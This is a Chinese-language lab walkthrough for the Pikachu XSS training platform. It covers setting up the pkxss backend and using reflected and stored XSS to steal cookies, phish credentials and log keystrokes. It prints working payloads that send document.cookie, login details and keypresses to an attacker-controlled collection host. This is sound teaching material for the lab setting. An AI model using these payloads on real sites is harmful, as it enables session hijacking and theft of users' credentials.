xss案例
- cookie的窃取和利用
- 钓鱼攻击
- Xss获取键盘记录
搭建pkxss后台
你可以采用两个主机的方法,设置不同的IP来进行实验,也可以只用Pikachu来实验,我这里是后者,事实上只是改了一个IP而已,原理是相同的。
把在pikachu-master里的pkxss剪切出来,放在跟Pikachu同一目录下,即为WWW目录下:
打开pkxss文件中的config.inc.php文件
我们看到数据库服务器的地址是localhost(其实就是127.0.0.1)
我们还需要改ip,点击phpStudy,其他选项菜单,点“打开host”:
把选中的地方修改一个你想要的ip,我这里是192.128.10.246,然后保存
我们主机的ip也要改成一样的,在网络设置里修改
使用192.168.10.246访问
设置完再点击网页里的红字初始化安装,出现成功字样
然后点“点击这里”进入首页,输入admin/123456登录:
接下来重定向,其实就是把里面一开始的ip设置成新设置的,使得跳转的页面固定(文件路径如下)
修改的时候请注意网址和文件名(文件名称要根据自己的实际情况设定)这里其实就是跳转到pikachu的首页
一、Cookie的窃取和利用
get型:
我们打开反射型XSS(get)),在文本框中进行一些操作,但是根据已经做过的经验,我们知道文本框里只让输入20字节,所以我们先修改一下,把字节数增加,Fn+F12调出Web控制台
接下来刚才搭建的打开XSS后台,点击cookie收集
在pikachu平台中输入下列js语句
<script>document.location='http://192.168.10.246/pkxss/xcookie/cookie.php?cookie=' +document.cookie;</script>
提交之后,跳转到这回个页面
再看XSS后台,里面有了一个记录,id=3,这里因为我前面登录过几次,每一次返回页面或者跳转的操作XSS后台都会捕捉cookie,可以忽略,这里我只放出这一个,我们也得到了cookie
cookie的值为 PHPSESSID=1d7ab818f2a90b6fe7ab90e9c38588d4
其中referer,用户一旦访问这个链接,它只会跳转到首页面,但是我们这样就已经获取到cookie值
http://192.168.10.246/pikachu-master/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location%3D%27http%3A%2F%2F192.168.10.246%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2Bdocument.cookie%3B%3C%2Fscript%3E&submit=submit
post型
首先登陆 admin/123456
我们输入<script>alert('xss')</script>,出现漏洞,结果发现地址栏没有变化,不在URL显示
查看pkxss-xcookie-post.html文件
我们需要自己搭一个恶意站点,然后在网站上放一个post表单将存放POST表单的链接发送给受害者,诱导受害者点击这个POST表单会自动向漏洞服务器提交一个POST请求,实现受害者帮我们提交POST请求的目的
首先,在恶意站点中修改服务器地址:上面是存在XSS漏洞的地址,下面是提交cookie的后台地址。
恶意页面的作用是:当用户访问这个页面时,会自动向漏洞服务器发送POST请求,然后重定向到漏洞服务器的index页面
如果用户访问欺骗的跳转页面,就会在pxss获取到cookie值
二、钓鱼攻击
进入文件夹修改ip(具体路径如下图)
这里有xfish和fish两个文件,我们进入fish.php如下图选中所示,修改ip
我们接下来看看xfish的内容,分析代码,发现给出认证框,用户输入用户名、密码,重定向到后台,同样的后台也有同样的接口,get方式获取到用户名跟密码然后存储
攻击者给用户可以正常的看上去没有欺骗的可信的页面,而这个页面被攻击者嵌入了一些恶意的代码,进行盗取用户的一些信息。当用户点开这个页面之后,看到是正常的页面,实际上登录信息等都被攻击者在后台页面获取到。
我们在pikachu的反射型xss(post)输入框中输入下面两句代码都可以引发XSS漏洞
<img src=" http://192.168.10.246/pkxss/xfish/fish.php"/>
<script src=" http://192.168.10.246/pkxss/xfish/fish.php"> </script>
输入用户名密码 admin/123456(这个图中密码是我不小心输入错误)
三、XSS获取键盘记录
跨域:
在开始之前我们需要先了解一下跨域,顾名思义,跨域就是跨越领域,这种操作当然是不被允许的。
官方点学术点的说法,就是页面必须同源,指的是浏览器不能执行其他网站的脚本。它是由浏览器的同源策略造成的,是浏览器施加的安全限制。
所谓同源是指,域名,协议,端口均相同,所以这三样有一种不同都可以被称为跨域
关于同源的解释,以及一些允许跨域的方法,原文可以参考这个链接:
https://blog.csdn.net/lambert310/article/details/51683775
所以我们需要观察代码中是否有跨域限制,打开rkserver.php(路径如下图所示)
发现已经允许跨域访问
接下来我们可以利用标签来进行操作,获取键盘记录了,下面这些标签都允许跨域操作,在Pikachu:暴力破解板块我们已经见过它们了:
<script src=”…”>//js,加载到本地执行
<img src=”…”>//图片
<link href=”…”>//css
<iframe src=“…”>//任意资源
再分析一下这个文件夹下其他文件的代码,打开唯一的js文件,我们来看看,把js 文件放到被攻击者的页面当中,通过获取键盘值,post发送给攻击者后台的ip
最后一个文件夹就是记录键盘结果
在存在存储型XSS的网站插入代码,这里用了script标签,其他标签当然也可以,这里只是搞个示例:
<script src= "http://192.168.10.246/pkxss/rkeypress/rk.js"></script>
在键盘上随便输入发现会跳出来 页面请求失败,在pkxss后台我们就可以看到获取的信息。